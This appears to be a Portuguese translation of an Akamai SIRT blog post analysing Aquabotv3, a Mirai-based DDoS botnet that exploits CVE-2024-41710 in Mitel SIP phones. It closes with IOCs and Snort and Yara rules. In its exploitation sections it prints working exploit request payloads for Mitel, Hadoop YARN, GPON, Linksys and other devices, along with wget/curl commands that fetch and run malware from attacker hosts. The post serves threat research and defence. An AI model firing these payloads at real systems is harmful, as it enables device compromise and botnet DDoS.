Exploração ativa: Nova variante do Aquabot de ataque a telefones
Comentários editoriais e adicionais por Tricia Howard
Resumo executivo
A SIRT (Security Intelligence and Response Team, equipe de inteligência e resposta de segurança) da Akamai identificou uma nova variante do malware baseado em Mirai, o Aquabot, que está tentando explorar ativamente os telefones SIP da Mitel. Como esta é a terceira iteração distinta do Aquabot, nós o chamamos de Aquabotv3.
O malware explora a CVE-2024-41710, uma vulnerabilidade de injeção de comando que afeta os modelos da Mitel.
Este malware apresenta um comportamento que nunca vimos antes em uma variante Mirai: uma função (report_kill) para relatar o comando e o controle (C2) quando um sinal de interrupção foi detectado no dispositivo infectado. Não vimos nenhuma resposta do C2 a partir da data desta publicação no blog.
Introdução e descoberta
O que é o Aquabot?
Aquabot é um botnet que foi construído fora da estrutura Mirai com o objetivo final de negação de serviço distribuído (DDoS). Seu nome é derivado do nome de arquivo presente na análise: "Aqua." Ele é conhecido desde novembro de 2023 e foi relatado pela primeira vez pela Antiy Labs. Atualmente, há três versões conhecidas; estamos introduzindo a terceira nesta publicação do blog.
A primeira versão era muito semelhante à estrutura básica do Mirai, e a segunda versão incluía mecanismos de ocultação e persistência, como impedir o desligamento e a reinicialização do dispositivo. Para uma análise técnica completa, recomendamos ler o relatório da Antiy.
Essa terceira iteração adiciona uma nova atividade para um botnet baseado em Mirai: Comunicação com o C2 quando o botnet detecta certos sinais. Isso, juntamente com outras diferenças notáveis na funcionalidade, diferencia significativamente as duas versões, justificando a distinção de uma terceira variante.
A vulnerabilidade e a exploração da prova de conceito
CVE-2024-41710
A CVE-2024-41710 é uma vulnerabilidade de injeção de comando que afeta os telefones SIP das séries Mitel 6800, 6900 e 6900w, incluindo a Unidade de Conferência 6970 até R6.4.0.HF1 (R6.4.0.136). Ela foi originalmente divulgada em meados de julho de 2024. A vulnerabilidade depende de uma falha de limpeza da entrada e a exploração pode levar ao acesso da raiz do dispositivo. Isso foi mostrado em uma PoC (proof of concept, prova de conceito) tornada pública pelo pesquisador da Packetlabs, Kyle Burns, em meados de agosto de 2024, no GitHub.
Não há casos conhecidos de exploração dessa vulnerabilidade na natureza antes das observações da SIRT, em janeiro de 2025.
Prova de conceito da exploração
A prova de conceito (PoC) da exploração nos mostra que um invasor pode se inserir em entradas que seriam bloqueadas pelas verificações de limpeza do aplicativo ao enviar uma solicitação HTTP POST especialmente criada.
Em seu README do GitHub, Burns relatou ter descoberto que o telefone SIP Mitel 6869i, versão de firmware 6.3.0.1020, não conseguiu limpar corretamente a entrada fornecida pelo usuário e encontrou vários pontos de extremidades vulneráveis a isso. Para a PoC, ele se concentrou no ponto de extremidade "802.1x Support" (8021xsupport.html).
As solicitações remotas para 8021xsupport.html podem ser usadas para atualizar a configuração local do dispositivo (/nvdata/etc/local.cfg). Enviando o valor de byte de "%dt", o aplicativo da Web "linemgrSip" interpretará isso como um caractere final de linha "%0d". Isso pode ser aproveitado durante o processo de inicialização, quando o conteúdo da configuração local do dispositivo é lido e usado para ações de inicialização.
Em sua PoC da exploração, o Burns fornece a seguinte carga especificada no parâmetro 802.1x+identity HTTP POST para obter a execução do código.
AAAAA%dthostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <ip> | sh ;%dt%dt%dt
Durante o processo de inicialização, o aplicativo substituirá a entrada do nome de host de destino na configuração local do dispositivo. A entrada do nome do host é então usada durante a inicialização e executará o script de shell anexado.
Exploração ativa
A SIRT da Akamai detectou tentativas de exploração direcionadas a essa vulnerabilidade por meio de nossa rede global de honeypots no início de janeiro de 2025 usando uma carga quase idêntica à PoC. O exemplo de carga útil mostrado na seção anterior era direcionado ao URI "/8021xsupport.html", mas agora está sendo usado para espalhar malware em todos os lugares.
AAAAA%!d(string=[IP Address])thostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl http://raw2.intenseapi[.]com/bin.sh | sh ;%!d(MISSING)t%!d(MISSING)t%!d(MISSING)t
Essa carga útil tentará buscar e executar um script shell chamado "bin.sh" que, por sua vez, buscará e executará um malware Mirai no sistema de destino, com suporte para uma variedade de arquiteturas diferentes, como x86 e ARM.
wget http://raw2.intenseapi[.]com/Aqua.x86; chmod 777 *; ./Aqua.x86 Aqua.x86;
wget http://raw2.intenseapi[.]com/Aqua.arm; chmod 777 *; ./Aqua.arm Aqua.arm;
wget http://raw2.intenseapi[.]com/Aqua.arm5; chmod 777 *; ./Aqua.arm5 Aqua.arm5;
wget http://raw2.intenseapi[.]com/Aqua.arm6; chmod 777 *; ./Aqua.arm6 Aqua.arm6;
wget http://raw2.intenseapi[.]com/Aqua.arm7; chmod 777 *; ./Aqua.arm7 Aqua.arm7;
wget http://raw2.intenseapi[.]com/Aqua.m68k; chmod 777 *; ./Aqua.m68k Aqua.m68k;
wget http://raw2.intenseapi[.]com/Aqua.mips; chmod 777 *; ./Aqua.mips Aqua.mips;
wget http://raw2.intenseapi[.]com/Aqua.mpsl; chmod 777 *; ./Aqua.mpsl Aqua.mpsl;
wget http://raw2.intenseapi[.]com/Aqua.sh4; chmod 777 *; ./Aqua.sh4 Aqua.sh4;
rm -rf Aqua.*
Com base em nossa análise das amostras de malware, determinamos que esta é uma versão da variante do Aquabot Mirai. Além de compartilhar as semelhanças com o Aquabotv2, ele tem as mesmas funções de ataque, mas com algumas diferenças notáveis que abordaremos nas próximas seções. Devido a essa evolução no malware, nós o chamamos de Aquabotv3.
Análise de malware
À primeira vista, o Aquabotv3 parece ser apenas um binário padrão de malware Mirai com funções típicas de ataque DDoS, como inundações e desvios.
[0x00008194]> afl|grep attack
0x000089f8 27 1680 sym.attack_gre_eth
0x0000c550 24 1256 sym.attack_udp_generic
0x0000b8f4 27 852 sym.attack_tcp_socket
0x0000be78 19 672 sym.attack_udp_plain
0x0000c118 20 1076 sym.attack_udp_vse
0x000084e8 8 108 sym.attack_get_opt_ip
0x0000a0fc 31 1780 sym.attack_tcp_ack
0x000085c4 1 1016 sym.attack_init
0x00009948 32 1968 sym.attack_tcp_stomp
0x000096a8 19 672 sym.attack_std
0x000081d0 13 244 sym.attack_start
0x0000aea0 31 1780 sym.attack_tcp_legit
0x000082cc 24 540 sym.attack_parse
0x0000a7f4 28 1704 sym.attack_tcp_syn
0x00008554 8 112 sym.attack_get_opt_int
0x0000bc4c 14 556 sym.attack_udp_bypass
0x0000908c 27 1560 sym.attack_gre_ip
0x0000b598 27 860 sym.attack_tcp_bypass
[0x00008194]>
No entanto, notamos uma função chamada "defend_binary()" (vista na Figura 1 como "sym.defend_binary") que configura um manipulador de sinal "handle_signal()" para os seguintes sinais:
- Sinal 15 (SIGTERM)
- Sinal 2 (SIGINT)
- Sinal 9 (SIGKILL)
- Sinal 3 (SIGQUIT)
- Sinal 20 (SIGTSTP)
- Sinal 21 (SIGTTIN)
- Sinal 22 (SIGTTOU)
- Sinal 1 (SIGHUP)
A Figura 1 mostra que, quando qualquer um desses sinais é enviado para a amostra de malware em execução, o malware o captura.
Depois de ter detectado o sinal, a função "handle_signal" define um sinalizador na memória, indicando que o sinal foi detectado e que o binário foi "defendido" (Figura 2).
E não para por aí: o Aquabotv3 então relata de volta para a origem. A função report_kill() envia uma mensagem para o C2 por meio da conexão TCP informando que um sinal foi detectado (Figura 3).
O malware também envia tentativas de interrupção para o C2 (Figura 4). No entanto, parece que nada é informado pelo C2 com base na notificação de que um sinal foi capturado.
Nunca vimos esse comportamento antes em uma variante da Mirai, portanto, talvez ele possa se tornar um novo recurso. Embora a verdadeira razão para esse comportamento não tenha sido confirmada, essa comunicação com o C2 pode ser uma forma de o autor do botnet monitorar ativamente a integridade do botnet.
O botnet contém funções que são programadas para eliminar processos que atendem a determinados requisitos, como shells locais.
[0x00008194]> afl|grep killer
0x0000d900 15 332 sym.killer_diego
0x0000da64 18 376 sym.killer_dora_the_explorer
0x0000d324 13 664 sym.killer_im_the_map
0x0000d5dc 18 388 sym.killer_boots
0x0000ced4 42 1068 sym.killer_tico
0x0000dbf8 4 100 sym.killer_init
0x0000d77c 15 356 sym.killer_swiper
Foram introduzidos mecanismos de ofuscação no Aquabotv2, que também estavam presentes no v3. A Figura 5 mostra como o malware altera seu próprio nome para "httpd.x86" e se comunica com o servidor C2 193.200.78[.]57 pela porta 33966.
Por meio de nossa análise dinâmica do comportamento do malware, descobrimos que ele também se conecta ao servidor C2 de 89.190.156[.]145 pela porta 7733. Essas portas permanecem consistentes em muitas das amostras analisadas.
root@debian:~# lsof |grep httpd
httpd 919 larry cwd DIR 8,1 4096 9879 /home/larry
httpd 919 larry rtd DIR 8,1 4096 2 /
httpd 919 larry txt REG 8,1 62772 10798 /home/larry/Aqua.x86
httpd 919 larry 0u IPv4 23658 0t0 TCP 192.168.0.111:37892->193.200.78.57:33966 (ESTABLISHED)
httpd 919 larry 3u sock 0,8 0t0 16781 protocol: TCP
Vulnerabilidades adicionais direcionadas
Assim como muitos outros botnets, este visa uma variedade de outras vulnerabilidades para ampliar ainda mais seu alcance. Observamos o mesmo malware Aquabot Mirai se espalhando por meio da vulnerabilidade YARN do Hadoop comumente explorada. De forma semelhante à carga útil discutida anteriormente, a exploração buscará e executará o mesmo script shell "bin.sh", que então buscará e executará a variante de malware Aquabot Mirai em um sistema de destino.
/ws/v1/cluster/apps {"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://raw2.intenseapi[.]com/bin.sh; chmod 777 bin.sh; ./bin.sh; rm -rf *"}}, "application-type": "YARN"}
Exploração da vulnerabilidade YARN do Hadoop
Algumas das outras vulnerabilidades que observamos serem alvos do botnet foram: CVE-2018-17532, CVE-2023-26801, CVE-2022-31137, Linksys E-series RCE, CVE-2018-10562 e CVE-2018-10561. Embora os nomes dos arquivos sejam diferentes da nomenclatura direta "Aqua" das tentativas de exploração da Mitel, o malware dessas outras explorações parece ser o mesmo.
/cgi-bin/hotspotlogin.cgi send=1&uamip="; cd /tmp;rm -rf mips; wget http://files1.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps tplink.0day; rm -rf vsbeps #"
Exploração da CVE-2018-17532
/goform/set_LimitClient_cfg time1=00:00-00:00&time2=00:00-00:00&mac=;killall -9 mpsl; killall -9 bash.mpsl; killall -9 mips; rm -rf *mpsl*; wget http://server2.eye-network[.]ru/qkehusl -O mpsl; busybox wget http://server2.eye-network[.]ru/qkehusl -O mpsl; chmod 777 mpsl; ./mpsl lbink;
Exploração da CVE-2023-26801
/app/options.py show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20cd /tmp; wget http://server.eye-network[.]ru/pdvr.sh; curl -O http://server.eye-network[.]ru/pdvr.sh; chmod 777 pdvr.sh; sh pdvr.sh; ./skid.sh; rm -rf *
Exploração da CVE-2022-31137
/tmUnblock.cgi submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bins.sh%3B+wget+http%3A%2F%2Fserver.eye-network[.]ru%2Fwget.sh%3B+chmod+777+wget.sh%3B+sh+wget.sh+linksys%60&StartEPI=1
Exploração do RCE do Linksys E-series
/GponForm/diag_Form?images/ XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon`;cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon&ipv=0
Exploração de CVE-2018-10562 e CVE-2018-10561
DDoS como serviço
Também vimos que os agentes de ameaças por trás da Aquabot têm anunciado esse botnet como "DDoS como um serviço" por meio de plataformas como Telegram (Figura 6). Ele foi anunciado com vários nomes diferentes que oferecem DDoS de camada 4 e camada 7. As convenções de nomenclatura variam, algumas delas são enganosas em relação ao seu verdadeiro propósito: Cursinq Firewall, The Eye Services e Eye Botnet.
Os agentes de ameaça normalmente afirmam que o botnet é usado apenas para fins de teste de medidas de atenuação de DDoS para tentar enganar pesquisadores ou autoridades legais. Os agentes de ameaça alegarão que é apenas uma PoC ou algo educacional, mas uma análise mais profunda mostra que eles estão na realidade anunciando "DDoS como um serviço" ou que os proprietários estão se gabando de executar seu próprio botnet no Telegram.
Por exemplo, no anúncio da Figura 6, esse mesmo domínio que eles afirmam ser "puramente de teste" para "sistemas de atenuação de DDoS" tem espalhado ativamente o malware Mirai.
Mirai e DDoS andam lado a lado
O DDoS continua a ser uma ameaça generalizada para muitas organizações, e botnets como o Aquabot são os principais responsáveis por isso. Além disso, como a maioria desses botnets se baseia no malware Mirai, eles têm como alvo predominante dispositivos de Internet das coisas (IoT), o que torna a disseminação do malware relativamente fácil de fazer.
O ROI da Mirai para um aspirante a autor de botnet é alto. Mirai é uma das famílias de botnets mais bem-sucedidas do mundo e também é uma das mais simples de modificar. Essas máquinas de Internet das coisas geralmente não têm recursos de segurança adequados, estão no fim do serviço ou são deixadas com configurações e senhas padrão, seja por negligência ou falta de conhecimento sobre os perigos.
No caso do Aquabot, o malware principal é o mesmo que o Mirai, mas o tratamento do sinal é particularmente exclusivo. No entanto, a exclusividade nem sempre agrega mais utilidade. Esse malware não era especialmente discreto, o que pode ter sido prejudicial para sua eficácia.
A razão para o uso do tratamento de sinal exclusivo pode ser que o agente de ameaça esteja intencionalmente observando a atividade defensiva de uma máquina para desenvolver variantes mais furtivas no futuro. Também pode ser usado para detectar interrupções/ataques ativos de botnets concorrentes ou campanhas éticas de remoção, ou qualquer combinação dessas situações.
Adoção de medidas
Independentemente das intenções do invasor, tomar medidas em dispositivos de Internet das coisas desprotegidos (como descoberta e alteração de credenciais padrão) pode ajudar na luta contra DDoS. Muitos desses botnets dependem de bibliotecas de senhas comuns para autenticação. Descubra onde estão seus dispositivos de Internet das coisas conhecidos e verifique também se há outros invasores. Verifique as credenciais de login e altere-as se forem padrão ou fáceis de adivinhar.
Saiba mais
A SIRT da Akamai continuará descobrindo, monitorando e relatando ameaças como a CVE-2024-41710 para a segurança de nossos clientes, colegas de trabalho e da comunidade de segurança em geral. Para ficar em dia com as descobertas atuais, você pode nos acompanhar nas mídias sociais ou conferir nossa página de pesquisa de segurança.
Indicadores de comprometimento
Incluímos uma lista de IOCs (list of indicators of compromise, lista de indicadores de comprometimento), bem como regras Snort e Yara, para auxiliar os defensores.
Regras Snort para IOCs de rede
Regras Snort para IPs
# Outbound traffic TO any of these malicious IPs
alert ip any any -> [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any \
(msg:"Malicious IP Outbound Traffic"; \
sid:1000001; rev:1; \
classtype:botnet-activity; \
priority:1; )
# Inbound traffic FROM any of these malicious IPs
alert ip [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any -> any any \
(msg:"Malicious IP Inbound Traffic"; \
sid:1000002; rev:1; \
classtype:botnet-activity; \
priority:1; )
Regras Snort para detecção de resolução de domínio C2
alert udp any any -> any 53 (
msg:"Malicious domain DNS query (subdomains included)";
;;; For Snort 2.9.9+ or Snort 3, if using the 'dns_query' keyword:
dns_query;
pcre:"/(?:^|\.)dogmuncher\.xyz$|(?:^|\.)cardiacpure\.ru$|(?:^|\.)fuerer-net\.ru$|(?:^|\.)eye-network\.ru$|(?:^|\.)intenseapi\.com$|(?:^|\.)cloudboats\.vip$|(?:^|\.)theeyefirewall\.su$|(?:^|\.)awaken-network\.net$/i";
classtype:botnet-activity;
sid:1000001;
rev:1;
priority:1;
)
Regras Yara para amostras de malware
import "hash"
rule Malicious_Malware_IOCs
{
meta:
description = "Detects suspicious samples referencing known malicious infrastructure and strings"
strings:
// --- IP addresses (as ASCII) ---
$ip1 = "89.190.156.145"
$ip2 = "91.92.243.233"
$ip3 = "213.130.144.69"
$ip4 = "154.216.16.109"
$ip5 = "193.200.78.33"
$ip6 = "173.239.233.47"
$ip7 = "141.98.11.67"
$ip8 = "141.98.11.175"
$ip9 = "173.239.233.48"
$ip10 = "173.239.233.46"
// --- Domain names (as ASCII) ---
$dom1 = "dogmuncher.xyz"
$dom2 = "cardiacpure.ru"
$dom3 = "fuerer-net.ru"
$dom4 = "eye-network.ru"
$dom5 = "intenseapi.com"
$dom6 = "cloudboats.vip"
$dom7 = "theeyefirewall.su"
$dom8 = "awaken-network.net"
// --- Unique strings from malware analysis ---
$str_locker_killed = "[locker] killed process: %s"
$str_killer_node = "[killer/node] killed process: %s"
$str_killer_cpu = "[killer/cpu] killed process: %s"
$str_killer_cmd = "[killer/cmd] killed process: %s"
$str_killer_stat = "[killer/stat] killed process: %s"
$str_killer_exe = "[killer/exe] killed process: %s"
$str_killer_maps = "[killer/maps] killed process: %s"
condition:
any of ($ip*) or // Match if any malicious IP is found in ASCII form
any of ($dom*) or // Match if any malicious domain is found in ASCII form
any of ($str_killer*) or ($str_locker_killed)
}
rule Known_Malicious_Files_by_SHA256
{
meta:
description = "Detects files matching known malicious SHA-256 hashes"
hash_list = "6 known malicious samples"
condition:
hash.sha256(0, filesize) in (
"597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86",
"6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec",
"b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b",
"b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de",
"1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef",
"e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3"
)
}
Endereços IPv4 da infraestrutura histórica
89.190.156.145
91.92.243.233
213.130.144.69
154.216.16.109
193.200.78.33
173.239.233.47
141.98.11.67
141.98.11.175
173.239.233.48
173.239.233.46
Domínios para pontos de extremidade de distribuição de malware e C2
dogmuncher.xyz
cardiacpure.ru
fuerer-net.ru
eye-network.ru
intenseapi.com
cloudboats.vip
theeyefirewall.su
awaken-network.net
SHA256 hashes
597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86
6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec
b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b
b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de
1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef
e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3